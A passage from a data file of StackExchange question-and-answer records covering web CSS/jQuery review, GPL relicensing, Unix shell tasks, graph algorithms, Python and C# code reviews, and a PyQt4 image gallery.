left;}.info {        position: absolute;        top: 0px;        right: 15px;        font-size: 11px;        color: white;}#previous {         position: absolute;        bottom: 0px;         right: 15px;        font-size: 11px;}#guildinfo {        width: 450px;        height: 170px;        border: 1px solid black;        border-radius: 10px;        background: url(img/brown.jpg);        top: 20px;        left: 380px;        position: absolute;        opacity: 0;        z-index: -1;        line-height: 30px;}#content {   /* main content*/        width: 700px;        padding: 50px;        min-height: 100%;        background: rgba(0, 0, 0, 0.7);        margin: 100px auto auto 50px;        color: white;        font-family: Tahoma;        font-size: 15px;        border-radius: 9px;        word-wrap: break-word;}#content2 {    /*secondary content (right)*/        width: 380px;        min-height: 80%;        background: rgba(0, 0, 0, 0.7);        top: 380px;        right: 88px;        position: absolute;        border-radius: 15px;}#banner {        width: 480px;        height: 150px;        background: url(img/banner.png);        background-size: cover;        top: 320px;        right: 40px;        position: absolute;        z-index: 1;        text-align: center;         line-height: 70px;        font-size: 20px;        color: black;        font-family: Tahoma;} #imgHolder {         width: 270px;        height: 300px;        border: 2px solid black;        margin: 50px auto 5px auto;        background: url(img/mvp.png) no-repeat -50px;        background-size: cover;}.fontstyling {         font-family: Tahoma;        font-size: 15px;        color: white;}.center {        text-align: center;        margin-bottom: 20px;}.marginLeft {         margin: auto auto auto 80px;}    #yellowColor {        color: yellow;}JavaScript:$(document).ready(function() {    $(.info).click(function() {        if($(#guildinfo).css('z-index') === '-1'){            $(#guildinfo).css('z-index', '1');            $(#guildinfo).animate({                opacity:'1'            }); //end of animate        }        else{            $(#guildinfo).animate({                opacity:'0'            });            setTimeout(function() {                $(#guildinfo).css('z-index', '-1');            }, 500);        }    }); //end of info function    $(#knd).click(function() {        if($(#wars).css('opacity') === '0') {                        $(#wars).animate({                opacity:'1'            }); //end of animate        }        else {            $(#wars).animate({                opacity:'0'            });  //end of animate        }    });    //end of KND click function    $(#gallery, #stats, #members, #groupMe, #apply, #knd).addClass(menuDivs);    $(#spanHolder).find(span).addClass(marginLeft fontstyling);    $(#arenaRank).find(span).removeClass(marginLeft);}); //end of doc ready function"  , "title": "Guild Wars: Knights & Dragons"  , "tags": "javascript;html;css"  , "accepted_answer": "HTML:HTML5 allows omitting the type attribute from link, script and style tags. You can safely remove it from your link tag.You should move jQuery to the bottom of your documents. Otherwise it'll be loaded before your document gets rendered.You use a lot of ID's where you shouldn't. I generally advice avoiding ID's whereever it's possible, because working with classes is easier in terms of CSS specificity.Overwriting an ID rule with a class is hard. Also ID's should only be used when you can definitely say there will only be one of these elements on this page.You rarely indent your HTML code. Do it. It allows you to see the structure you're building and leaves less space for mistakes like not closing certain tags.The content inside your ID spanholder (again, this should be a class) looks like tabular data. Thus you could use a table for it.That said, what about your table with the ID warslist. Should this be a table? Why?Use descriptive names. The filenames css.css and javascript.js are pretty redundant, because the extension already tells you what to expect from this file.CSS:Why do you select both html and body in your first CSS rule? That only makes sense for your declaration of height: 100%;This is, what you should have:body {     margin: 0;    background: url(img/background.jpg) no-repeat fixed;    background-size: cover;}html, body {    height: 100%;}I removed the units behind 0, you don't need it for zero values. I also removed the padding declaration, because body doesn't have a padding you would reset in all User Agent Styles of modern browsers.The declaration width: 100%; is also not necessary, because both elements are block level elements. Block elements automatically take up the available space.You should declare your basic font rules in the body rule above as well.body {    /* Using shorthand instead of... */    font: 14px/1.5 Tahoma, Arial, sans-serif;    /* ...this:    font-size: 14px;    line-height: 1.5;    font-family: Tahoma, Arial, sans-serif;    */}After this you could specifiy some basic rulesets for stuff like headings and maybe a few variations for smaller text (meta data, etc.)."  } 
{  "id": "_softwareengineering.81705"  , "question": "I have found a GPL library (no dual license), which does exactly what I need. Unfortunately, the GPL license on the library is incompatible with the license of a different library I use. I have therefore decided to rewrite the GPL library, so the license can be changed. My question is: How extensive do the changes need to be to the library in order to be able to change the license? In other words, what is the cheapest way to do this?"  , "title": "Rewriting GPL code to change license"  , "tags": "licensing;gpl"  , "accepted_answer": "I'm not a lawyer, but AFAIK if you have seen the GPLed library code any emulation library you write would be tainted and may be declared a derived work by a judge if it is too similar in his appreciation.So the process would be to write a functional spec and have someone which hasn't seen the GPLed code write the library.Edit: Note that with the way you formulate your question How extensive do the changes need to be to the library in order to be able to change the license? the answer is AFAIK clear: whatever you do, if you just modify the library you must respects the term of the license which makes you able to modify it in the first place."  } 
{  "id": "_softwareengineering.36561"  , "question": "(Let me start off by asking - please be gentle, I know this is subjective, but it's meant to incite discussion and provide information for others. If needed it can be converted to community wiki.)I recently was hired as a junior developer at a company I really like. I started out in the field doing QA and transitioned into more and more development work, which is what I really want to end up doing. I enjoy it, but more and more I am questioning whether I am really any good at it or not. Part of this is still growing into the junior developer role, I know, but how much? What are junior developers to expect, what should they be doing and not doing? What can I do to improve and show my company I am serious about this opportunity? I hate that I am costing them time by getting up to speed. I've been told by others that companies make investments in Junior devs and don't expect them to pay off for a while, but how much of this is true? There's got to be a point when it's apparent whether the investment will pay off or not.So far I've been trying to ask as many questions I can, but I've you've been obsessing over a simple problem for some time and the others know that, there comes a time when it's pretty embarrassing to have to get help after struggling so long. I've also tried to be as open to suggestion as possible and work with others to try to refactor my code, but sometimes this can be hard clashing with various team members' personal opinions (being told by someone to write it one way, and then having someone else make you rewrite it).I often get over-stressed and judge myself too harshly, but I just don't want to have to struggle the rest of my life trying to get things work if I just don't have the talent. In your experience, is programming something that almost everyone can learn, or something that some people just don't get? Do others feel this way, or did you feel that way when starting out? It scares me that I have no other job skills should I be unsuited for having the skills necessary to code well."  , "title": "Woes of a Junior Developer - is it possible to not be cut out for programming?"  , "tags": "skills"  } 
{  "id": "_unix.191885"  , "question": "When I run nix-shellnix-shell ~/dev/nixpkgs -A pythonPackages.some-packageand then edit phases of pythonPackages.some-package, how to reload nix-shell environment with new changes? Quit nix-shell and rerun is one option, but are there alternatives?"  , "title": "Quickly reload nix expression in nix-shell?"  , "tags": "nixos;nix"  , "accepted_answer": "No other simple options, sorry. I can only think of rewriting nix-shell to accomplish what you want. Probably it's not even that hard. Reparse the expression, cleanup the env and refill the env."  } 
{  "id": "_scicomp.5554"  , "question": "Is it possible to calculate the color frequency of a pixel?I mean, I get a pixel that is red but where this red sits on the spectrum in hertz?Is this even possible to do even in a limited way?thanks."  , "title": "Color frequency of a pixel"  , "tags": "algorithms"  } 
{  "id": "_codereview.18266"  , "question": "I have an application where I am receiving big byte array very fast around per 50 miliseconds.The byte array contains some information like file name etc. The data (byte array ) may come from several sources.Each time I receive the data, I have to find the file name and save the data to that file name.I need some guide lines to how should I design it so that it works efficient.Following is my code...public class DataSaver{    private Dictionary<string, FileStream> _dictFileStream;    public void SaveData(byte[] byteArray)    {        string fileName = GetFileNameFromArray(byteArray);        FileStream fs = GetFileStream(fileName);        fs.Write(byteArray, 0, byteArray.Length);    }    private FileStream GetFileStream(string fileName)    {        FileStream fs;        bool hasStream = _dictFileStream.TryGetValue(fileName, out fs);        if (!hasStream)        {            fs = new FileStream(fileName, FileMode.Append);            _dictFileStream.Add(fileName, fs);        }        return fs;    }    public void CloseSaver()    {        foreach (var key in _dictFileStream.Keys)        {            _dictFileStream[key].Close();        }    }}How can I improve this code ? I need to create a thread maybe to do the saving."  , "title": "Design guideline for saving big byte stream in c#"  , "tags": "c#"  } 
{  "id": "_cogsci.1843"  , "question": "I remember reading a case study on this years ago and I am trying to track it down.The study involved asking people who held strong opinions on varied subjects to defend the opposite opinion in a hypothetical debate.  At the end of the debate the people had come to adopt the viewpoint they were defending, regardless of the hypothetical nature of the actual debate.Does anyone know the name of this phenomenon, or better yet, have a link explaining it?"  , "title": "Phenomenon causing people to change their opinion when they are asked to hypothetically defend an opposing viewpoint?"  , "tags": "terminology;social psychology"  } 
{  "id": "_softwareengineering.299165"  , "question": "In my reasearch of Dependendcy Injection so far I haven't seen an example object being treated as both a client and a service (meaning a service [value, factory, etc] which has its own dependencies).Can a component be both a client and a service without breaking some fundamental aspect of DI? Is this normal to do in DI? For clarification, I'm asking if a component can both be a dependency, and have dependencies, making it both a client and a service in Dependency Injection."  , "title": "Can a DI object be both a client and a service simultaneously?"  , "tags": "dependency injection"  , "accepted_answer": "Yes.  Think of the classic DI example - a Logger - which itself might take dependencies on a FileSystemWriter and a DatabaseWriter."  } 
{  "id": "_cs.35817"  , "question": "Let $X$ and $Y$ be two sets of points in $\\mathbb{R}^3$. Assume that the cardinality of $Y$ is larger (much larger if you want) than $X$.   For each $x_i \\in X$, I need to find all $y \\in Y$ such that the distance between $x_i$ and $y$ is less than a (fixed) radius $R$. That is, for each $x_i$, I want the set $E_i = \\{y \\in Y: \\|x_i-y\\|\\ \\leq R\\}$.Now this looks to me like a nearest-neighbors type problem just with two different sets of points. If I'm correct, usually something like an R-tree or kd-tree is good for finding nearest neighbors within a single set $X$. But this seems a bit different. I could naively just iterate through $X$ and find the $y_j \\in Y$ such that $\\|x_i-y_j\\| \\leq R.$ and I suppose store that in a gigantic array, but this seems like the worst possible method. On the bright side, this is at least embarassingly parallel so there is that at least.Any suggestions would be greatly appreciated and I apologize if this is a trivial question (I'm not a computer scientist!) Also, if this is the incorrect place to ask such a question, please let me know. If the question is unclear or requires additional information, just let me know. Thanks!"  , "title": "Good data structure for finding all points in one set a distance from each point in another set"  , "tags": "data structures;computational geometry;numerical algorithms"  } 
{  "id": "_unix.127141"  , "question": "I have two CentOS 5.4 Directory Servers that sync information on a daily bases. I'm wanting to replace them with two RHEL 6.4 Directory Servers. Before the existing two are decommissioned all four need to be syncing on a daily basis until we are certain there aren't going to be any issues.Essentially the RHEL DS and the CentOS DS directory servers are the same things so I'm betting that they can sync, but my main question is if a RHEL 6 DS can sync with a RHEL/CentOS 5 DS? Again I'm thinking they can because the database should be nearly the same for both, but I'm hoping someone knows for certain. If they can't natively sync I'm hoping find the best way to configure them so that they can. My last issue is that the RHEL6 DS will have an additional schema (Samba). If the older DS doesn't have that schema will it just be left out when the servers sync?"  , "title": "Can a RHEL 6.4 DS sync with a CentOS 5.4 DS"  , "tags": "centos;rhel;ldap;openldap"  } 
{  "id": "_cs.12154"  , "question": "Let G be a directed graph with non-negative weights. We call a path between two vertices an odd path if its weight is odd.We are looking for an algorithm for finding the weight of the shortest odd path between any two vertices in the graph.If possible, describe one algorithm that is reduction-based (that is, make some modification to the graph so that application of Floyd-Warshall, or any other known algorithm, and then deciphering the answer will give the result, see http://en.wikipedia.org/wiki/Reduction_(complexity)) and one that is direct (that is, make some modification to Floyd-Warshall in order for it to solve this problem)."  , "title": "Shortest path with odd weight"  , "tags": "algorithms;graph theory;graphs;shortest path"  , "accepted_answer": "DirectI answered this here:https://stackoverflow.com/questions/11900830/using-floyd-warshall-algorithm-to-determine-an-odd-matrix/11902296#11902296Basically:Run the algorithm twice (literally a for loop that runs 2 times around the F-W loops) because the path may be longer than the number of verticesSave both the best odd and best even path costs for each pair of vertices - instead of cost[v1][v2] I use cost[v1][v2][evenness].Proof that running the algorithm twice is sufficient: let's assume a path in the graph has more than 2V vertices -> at least one vertex C must appear 3 times -> it must appear at least twice with the same evenness-of-path-up-to-this-point E. So the path is of the form (with C(E) meaning vertex C appearing with evenness E):P0 - C(E) - P1 - C(E) - P2where P0, P1 and P2 are segments of the path (perhaps empty). But this path has the same evenness, initial and final state as:P0 - C(E) - P2And due to non-negative weights, the former path can't be shorter. So running the algorithm twice is sufficient.ReductionFrom G, create G' in the following way:For each vertex Vi in G, add Vi_odd and Vi_even to G' (a simple implementation is: i_even := 2*i, i_odd := 2*i+1, and the inverse, i = i_either/2)For each edge in G, let Vi be the source vertex, Vj the target vertex, W the weight. If W is odd, add edges (Vi_odd, Vj_even) and (Vi_even, Vj_odd) with weight W. If W is even, add edges (Vi_even, Vj_even) and (Vi_odd, Vj_odd) with weight W.Run F-W on G'. The weight of the path from Vi_even (initial path weight is 0 = even) to Vj_odd in G' is the weight of the shortest odd path from Vi to Vj in G. The weight of the path from Vi_even to Vj_even is the shortest even path."  } 
{  "id": "_unix.184574"  , "question": "I have Linux Mint Version 7.1 Rebecca. What do I need to write in the command line in order to find this information. I tried uname -a , but I got informations about my computer name, Kernel Version etc. but not the name itself. "  , "title": "How can I get my Linux distribution name and version using the command line ?"  , "tags": "command line;distributions"  } 
{  "id": "_unix.167686"  , "question": "We can cut and paste current line in bash with ctl+u and ctl+y  But I have read here that bash doesn't have clipboard concept, so how those shortkeys working?(or in another way: what they doing?)"  , "title": "clipboard in bash"  , "tags": "bash;clipboard;line editor"  , "accepted_answer": "Killing and yanking text are readline features. bash normally uses readline but you could argue that it is not really a part of bash.You can test that withbash --noediting"  } 
{  "id": "_unix.69098"  , "question": "I'm running a Python program on my Linux server, and depending on some external data it has to run again at xx minutes or hours from now.So let's say it runs at 6 AM, and then it has to run again at 7 AM.Then, at 7AM, it checks some things and it has to run again at 15:45, and then the next day at 2.05AM, and then the next day at 4.05AM etc.As you can see there is no predefined logic in the times it has to run, it has to be defined at the time it runs.The only task schedule mechanism I know is crontab, bu I'm not sure how to add tasks to it without running crontab -e and besides that crontab seems more for recurring tasks and in my case I would add a crontab job and after running it once remove it again and add a new one.The only thing I could come up with was to set the next rundate in a textfile, and let a crontab job check it every minute to see if it is time to run the program."  , "title": "How can I schedule a python program to run from another python program?"  , "tags": "cron;python;scheduling"  , "accepted_answer": "crontab should be used for jobs that you want to have repeated regularly. An alternative is at. With this utility you can schedule jobs that you want to execute only once, but in the future.From within the python-script, you should be able to add a command to the queue of at. The link page together with the man-page should give you enough information to get going.As per @Michel's comment, this will benewruntime = (datetime.datetime.now() + datetime.timedelta(minutes=5)).strftime(%H:%M %d.%m.%Y)command = 'echo  python mainprog.py | at ' + newruntimeos.system(command)"  } 
{  "id": "_unix.24134"  , "question": "Suppose I have a dir tree like this:ROOTDIR    --SUBDIR1        ----SUBDIR2            ----SUBDIR3I am looking for a command such that when I input:$ [unknown command] ROOTDIRThe whole dir tree can be deleted if there is no file but only dirs inside the whole tree. However, say if there is a file called hello.pdf under SUBDIR1:ROOTDIR    --SUBDIR1        --hello.pdf        ----SUBDIR2            ----SUBDIR3Then the command must only delete SUBDIR2 and below."  , "title": "Remove empty directory trees (removing as many directories as possible but no files)"  , "tags": "shell;directory;rm"  , "accepted_answer": "Alexis is close.  What you need to do is this:find . -type d -depth -empty -exec rmdir {} \\;That will first drill down the directory tree until it finds the first empty directory, then delete it.  Thus making the parent directory empty which will then be deleted, etc.  This will produce the desired effect (I do this probably 10 times a week, so I'm pretty sure it's right). :-)"  } 
{  "id": "_codereview.64601"  , "question": "I'm using the following code to initialise 8 I/O-ports (i.e. GPIO pins on a Raspberry Pi). That's 4 x 2 pins, each duo controls a switch, A to D, and each duo consists of a pin for On and a pin for Off. def init_switches():    switch = {        'A': dict(On = 22, Off = 12),        'B': dict(On = 19, Off = 11),        'C': dict(On = 18, Off = 16),        'D': dict(On = 15, Off = 13)        }    # define all individual pins as output    for ID in switch:        for pin in switch[ID]:            GPIO.setup(switch[ID][pin], GPIO.OUT)    return switchI chose this way, a set of dicts, because it allows me to say:switch = init_switches()switch['A']['On'] The last line makes for nice readable code. However the nested for loop is not so elegant. Isn't there a more concise way?Edit: I'm deliberately iterating over keys to get to values. Values are pin numbers. Pin numbering is not arbitrary, but has to do with hardware design. It came out this way because it allowed the easiest circuitry to the switch controller. I'm deliberately hiding all that from the coding, because it's a different chapter altogether. "  , "title": "Iterate over items in a set of dicts"  , "tags": "python;dictionary;set"  , "accepted_answer": "In both nested loops, it seems you really need the values of dictionaries.You iterate over the keys just to use them to get the values:for ID in switch:    for pin in switch[ID]:        GPIO.setup(switch[ID][pin], GPIO.OUT)A more direct approach would be to iterate over the values instead of the keys:for pins in switch.values():    for pin in pins.values():        GPIO.setup(pin, GPIO.OUT)A minor thing, the definition of switch doesn't follow PEP8,because of the spaces around the = when setting the dictionary keywords.This is the recommended style:switch = {    'A': dict(On=22, Off=12),    'B': dict(On=19, Off=11),    'C': dict(On=18, Off=16),    'D': dict(On=15, Off=13)}"  } 
{  "id": "_unix.302479"  , "question": "I want to use ag to print the classes and their methods in a python file. I thought that this would be easy using:ag --context=0 --nocolor -os '^\\s*(def|class)\\s+[_A-Za-z]*' prog.pybut for reasons I don't understand this is also matching blank lines. For example, if you make prog.py the followingclass MyFavouriteClass    def __init__    def __contains__        blah    class MyNextFavouriteClass    def _repr_    def __iter__then it returns the full file, including the blank lines, except for the line containing blah. Of course, I can always pipe the output into something else to remove the blank lines but I'd rather get it right the first time. I suspect that the problem has nothing to do with the regular expression and, instead, that it's a feature of ag's --context, --after and --before flags but I can't find a combination of these that does what I want.Any ideas?"  , "title": "Why is ag printing blank lines from this file?"  , "tags": "regular expression;search;ag"  , "accepted_answer": "It's not the --context, but the \\s* at the start of your regex pattern.It seems ag doesn't search line-by-line like normal grep, but looks at the whole file in one go (or at least several lines at a time). A bit like this Perl one-liner would:perl -0777 -ne 'print $&\\n while /^\\s*(def|class)\\s+[_A-Za-z]*/msg' ../prog.pySo, since \\s matches any whitespace, including newlines, it matches the previous empty line, the newline, spaces in front of the next, and then the def keyword. If you add an empty line before the blah line, it's not printed, since blah doesn't fit the pattern.To get rid the unwanted match, use /^ *...  or /^[ \\t]*... instead of /^\\s*.... (space+asterisk in the first one)"  } 
{  "id": "_unix.251518"  , "question": "I'm trying to configure my keyboard in this way:I have 3 layouts, 2 of which I use fairly often (eng, rus) and 1 I use occasionally (e.g. when I'm writing some official letters) - cz. The difference between cz and eng keyboard layouts make it difficult to for example write code with this layout, and I use it rare enough to have it out of basic layouts cycle. So the question is: can I somehow configure X to cycle through 2 layouts by-default[en/ru] and turn on cz layout when its needed by pressing CapsLock? Thanks, "  , "title": "Configuring keyboard layouts: 3-way switch, 3rd layout when CapsLock is on"  , "tags": "xorg;keyboard layout"  } 
{  "id": "_unix.226683"  , "question": "I am trying to install Debian Jessie on my new laptop. I downloaded the amd64 Live CD, but the UEFI doesn't recognize my Debian DVD ROM.I disabled the secure UEFI option, but it didn't work, UEFI doesn't show CD/DVD boot option. I attempted to boot with an Ubuntu Live CD and it works fine.I thought that Debian supported UEFI boot.Any ideas?Note: My laptop is a Dell Inspiron 15 5000 Series with Windows 8.1."  , "title": "Debian 8 UEFI support"  , "tags": "debian;uefi;debian installer"  , "accepted_answer": "Yesterday I installed Debian on a recent Asus Pxx model using the netinstall-iso using a usb-stick and I was able to finish the install without any problems or warnings.  - secure boot MUST be disabled and this is often only possible cq visible upon setting a bios-password.Have you tried writing the iso to a stick ? "  } 
{  "id": "_softwareengineering.139666"  , "question": "I very often find myself in situations where I should have opened a parentheses, but forgot and end up furiously tapping the left arrow key to get to the spot I should have put it, and doing the same to get back to where I was - that, or removing one hand from the keyboard to do it with the mouse. Either way, it's a stupid mistake on my part and a poor use of time going back to fix it. For example, if typing something likevar x = 100 - var1 + var2;I might get to the end of the statement and realize I wanted to subtract the sum of var1 and var2 from 100 and not add var2 to the difference of 100 and var1. I can't really expect an IDE to prevent my mistakes, but I was thinking there could be a simple enough feature that would save time when they're made. Specifically, some kind of function that, after a closing parenthesis is added where there isn't an opening one, would start ghosting in an opening parenthesis at different statements and allow the user to switch between them. For example:Say you have the following statement:var x = oldY * oldX + newY / newX - left - right;If you put a closing parenthesis after right and pressed the shortcut, the IDE would do:var x = oldY * oldX + newY / newX - ( left - right);press left, and then:var x = oldY * oldX + newY / ( newX - left - right);...then:var x = oldY * oldX + ( newY / newX - left - right);Anyway... Does this feature exist? If not, should it exist? What do senior programmers do when this happens? "  , "title": "Programming IDEs feature to add a forgotten open parentheses?"  , "tags": "ide;experience;mistakes"  , "accepted_answer": "Senior programmers use the Next/Previous word, start of line end of line hot keys to navigate the code - if you ever get a chance, watch a vi expert in action. These things 'just happen' - you don't think left, left, left, left, Brace, right right right, you think brace over there and your fingers do it for you.   Senior devs also  don't worry too much about the time taken to type. We are not the Typing Pool - paid for word/minute. We add a parenthesis (or any artifact that makes the code readable, let alone correct) when needed, as we know the time to write it is trivial compared the time it will be read thousands of times.Further senior developers would not write var x = oldY * oldX + ( newY / newX - left - right);As it's very odd code that does not 'look' right, meaning even more time will be spent reading it and trying to second guess what the original write wanted it to do (Any developer should be able to work out what it does). "  } 
{  "id": "_codereview.37418"  , "question": "I have made an application to display images in the form of gallery, from terminal if you are standing at the same location then it will open those images in the gallery if it does not have it will prompt to select the directory.below is the module: gallery.pyimport sysimport osimport utilsfrom PyQt4 import QtGui, QtCoreclass MyListModel(QtCore.QAbstractTableModel):     def __init__(self, window, datain, col, thumbRes, parent=None):          Methods in this class sets up data/images to be            visible in the table.            Args:                datain(list): 2D list where each item is a row                col(int): number of columns to show in table                thumbRes(tuple): resolution of the thumbnail                 QtCore.QAbstractListModel.__init__(self, parent)         self._slideShowWin = window        self._thumbRes = thumbRes        self._listdata = datain        self.pixmap_cache = {}        self._col = col    def colData(self, section, orientation, role):        if role == QtCore.Qt.DisplayRole:            return None    def headerData(self, section, orientation, role):        if role == QtCore.Qt.DisplayRole:            if orientation in [QtCore.Qt.Vertical, QtCore.Qt.Horizontal]:                return None    def rowCount(self, parent=QtCore.QModelIndex()):         return len(self._listdata)     def columnCount(self, parent):        return self._col    def data(self, index, role):         method sets the data/images to visible in table                if index.isValid() and role == QtCore.Qt.SizeHintRole:            return  QtCore.QSize(*self._thumbRes)        if index.isValid() and role == QtCore.Qt.TextAlignmentRole:            return QtCore.Qt.AlignCenter        if index.isValid() and role == QtCore.Qt.EditRole:            row = index.row()            column = index.column()            try:                fileName = os.path.split(self._listdata[row][column])[-1]            except IndexError:                return            return fileName        if index.isValid() and role == QtCore.Qt.ToolTipRole:            row = index.row()            column = index.column()            try:                fileName = os.path.split(self._listdata[row][column])[-1]            except IndexError:                return            exifData = \\n.join(list(utils.getExifData((self._listdata[row][column]))))            return QtCore.QString(exifData if exifData else fileName)        if index.isValid() and role == QtCore.Qt.DecorationRole:            row = index.row()            column = index.column()            try:                value = self._listdata[row][column]            except IndexError:                return            pixmap = None            # value is image path as key            if self.pixmap_cache.has_key(value) == False:                pixmap=utils.generatePixmap(value)                self.pixmap_cache[value] =  pixmap            else:                pixmap = self.pixmap_cache[value]            return QtGui.QImage(pixmap).scaled(self._thumbRes[0],self._thumbRes[1],                 QtCore.Qt.KeepAspectRatio)    def flags(self, index):        return QtCore.Qt.ItemIsEditable | QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable    def setData(self, index, value, role=QtCore.Qt.EditRole):        if role == QtCore.Qt.EditRole:            row = index.row()            column = index.column()            try:                newName = os.path.join(str(os.path.split(self._listdata[row][column])[0]), str(value.toString()))            except IndexError:                return            utils._renameFile(self._listdata[row][column], newName)            self._listdata[row][column] = newName            self.dataChanged.emit(index, index)            return True        return Falseclass GalleryUi(QtGui.QTableView):     Class contains the methods that forms the        UI of Image galery        def __init__(self, window, imgagesPathLst=None):        super(GalleryUi, self).__init__()        self._slideShowWin = window        self.__sw = QtGui.QDesktopWidget().screenGeometry(self).width()        self.__sh = QtGui.QDesktopWidget().screenGeometry(self).height()        self.__animRate = 1200        self.setUpWindow(imgagesPathLst)    def setUpWindow(self, images=None):         method to setup window frameless and fullscreen,            setting up thumbnaul size and animation rate                if not images:            path = utils._browseDir(Select the directory that contains images)            images = slideShowBase.ingestData(path)        thumbWidth = 200        thumbheight = thumbWidth + 20        self.setWindowFlags(            QtCore.Qt.Widget |             QtCore.Qt.FramelessWindowHint |              QtCore.Qt.X11BypassWindowManagerHint             )        col = self.__sw/thumbWidth         self._twoDLst = utils.convertToTwoDList(images, col)        self.setGeometry(0, 0, self.__sw, self.__sh)        self.showFullScreen()        self.setColumnWidth(thumbWidth, thumbheight)        self._lm = MyListModel(self._slideShowWin, self._twoDLst, col, (thumbWidth, thumbheight), self)        self.setShowGrid(False)        self.setWordWrap(True)        self.setModel(self._lm)        self.resizeColumnsToContents()        self.resizeRowsToContents()        self.selectionModel().selectionChanged.connect(self.selChanged)    def selChanged(self):        if self._slideShowWin:            row = self.selectionModel().currentIndex().row()            column = self.selectionModel().currentIndex().column()            # if specific image is selected the slideshow opens paused.            self._slideShowWin.playPause()            self._slideShowWin.showImageByPath(self._twoDLst[row][column])    def animateUpSlideShow(self):         animate the slideshow window back up            to view mode and starts the slideShowBase            where it was paused.                self.animateUpGallery()        self.animation = QtCore.QPropertyAnimation(self._slideShowWin, geometry)        self.animation.setDuration(self.__animRate);        self.animation.setStartValue(QtCore.QRect(0, self.__sh, self.__sw, self.__sh))        self.animation.setEndValue(QtCore.QRect(0, 0, self.__sw, self.__sh))        self.animation.start()        self._slideShowWin.activateWindow()        self._slideShowWin.raise_()        self._slideShowWin.playPause()    def animateUpGallery(self):         animate the gallery window up to make slideshow visible                self.animGallery = QtCore.QPropertyAnimation(self, geometry)        self.animGallery.setDuration(self.__animRate);        self.animGallery.setStartValue(QtCore.QRect(0, 0, self.__sw, self.__sh))        self.animGallery.setEndValue(QtCore.QRect(0, -(self.__sh), self.__sw, self.__sh))        self.animGallery.start()    def keyPressEvent(self, keyevent):         Capture key to exit, next image, previous image,            on Escape , Key Right and key left respectively.                event = keyevent.key()        if event == QtCore.Qt.Key_Escape:            if self._slideShowWin:                self._slideShowWin.close()            self.close()        if event == QtCore.Qt.Key_Up:            if self._slideShowWin:                self.animateUpSlideShow()def main(imgLst=None):     method to start gallery standalone        app = QtGui.QApplication(sys.argv)    window =  GalleryUi(None, imgLst)    window.raise_()    sys.exit(app.exec_())if __name__ == '__main__':    curntPath = os.getcwd()    if len(sys.argv) > 1:        curntPath = sys.argv[1:]    main(utils.ingestData(curntPath))and dependent module utils.pysome of the methods in the below are used by module slideshow which can also launch the image gallery from which a 2D list containing image paths.import osimport sysimport exifreadfrom PyQt4 import QtGuidef isExtensionSupported(filename):     Supported extensions viewable in SlideShow        reader = QtGui.QImageReader()    ALLOWABLE = [str(each) for each in reader.supportedImageFormats()]    return filename.lower()[-3:] in ALLOWABLEdef imageFilePaths(paths):    imagesWithPath = []    for _path in paths:        dirContent = getDirContent(_path)        for each in dirContent:            selFile = os.path.join(_path, each)            if ifFilePathExists(selFile) and isExtensionSupported(selFile):                imagesWithPath.append(selFile)    return list(set(imagesWithPath))def ifFilePathExists(selFile):    return os.path.isfile(selFile)def getDirContent(path):    try:        return os.listdir(path)    except OSError:        raise OSError(Provided path '%s' doesn't exists. % path)def getExifData(filePath):     Gets exif data from image        try:        f = open(filePath, 'rb')    except OSError:        return    tags = exifread.process_file(f)    exifData = {}    if tags:        for tag, data in tags.iteritems():            if tag != 'EXIF Tag 0x9009':                yield %s: %s % (tag, data)def convertToTwoDList(l, n):     Method to convert a list to two        dimensional list for QTableView        return [l[i:i+n] for i in range(0, len(l), n)]def _renameFile(fileToRename, newName):     method to rename a image name when double click        try:        os.rename(str(fileToRename), newName)    except Exception, err:        print errdef _browseDir(label):     method to browse path you want to        view in gallery        selectedDir = str(QtGui.QFileDialog.getExistingDirectory(None,             label,            os.getcwd()))    if selectedDir:        return selectedDir    else:        sys.exit()def generatePixmap(value):     generates a pixmap if already not incache        pixmap=QtGui.QPixmap()    pixmap.load(value)    return pixmapdef ingestData(paths):     This method is used to create a list containing        images path to slideshow.        if isinstance(paths, list):        imgLst = imageFilePaths(paths)    elif isinstance(paths, str):        imgLst =  imageFilePaths([paths])    else:        print You can either enter a list of paths or single path    return imgLstI need a code review for the implementation, any Suggestions/hints is welcome that I can use to improve the code and more testable? "  , "title": "Feedback on logic implementation of PyQt4 based Image gallery using QTableView"  , "tags": "python;design patterns"  , "accepted_answer": "Disclaimer: this is not a design pattern review, but rather a Pythonization one.Not always returning a value: MyListModel.colData() MyListModel.headerData(). Even though Python implicitly returns None if you don't specify a return value or return statement at all, it is better to return explicitly in all the code branches, or have a catch-all return:def colData(self, section, orientation, role):    if role == QtCore.Qt.DisplayRole:        return None    return NoneInconsistent return statements: in MyListModel.data(), MyListModel.setData() and others you mix return statements with value and the ones without value. Consider returning None explicitly.In MyListModel.data() the check index.isValid() is repeated over and over again, a single check would be sufficient:if not index.isValid():   return Noneif role == QtCore.Qt.SizeHintRole:    return  QtCore.QSize(*self._thumbRes)Always use a file as a context manager, this way you wouldn't leak open files (e.g. in getExifData), even if your code with throw during file processing:try:    with open(filePath, 'rb') as f:        # Work with fileexcept OSError:    returnUse list comprehensions and generator expressions, they rock! Here's how I would rewrite getExifData:def get_exif_data(file_path):     Gets exif data from image        try:        with open(file_path, 'rb') as f:            return (%s: %s % (tag, data)                    for tag, data in exifread.process_file(f).iteritems()                    if tag != 'EXIF Tag 0x9009')    except OSError:        returnHere's the imageFilePaths:def image_file_paths(paths):    images = {        joined_path        for path in paths        for each in get_dir_content(path)        for joined_path in [os.path.join(path, each)]        if if_file_path_exists(joined_path)        if is_extension_supported(joined_path)    }    return list(images)You should really follow pep8, name your methods with_underscore_separators, but do notCamelCase them.Methods/functions should not have unexpected side-effects like printing error messages on their own (see _renameFile, ingestData) or even worse - perform exit (see _browseDir). Consider raising appropriate exceptions, e.g. ValueError would be a perfect fit for parameter type-checking."  } 
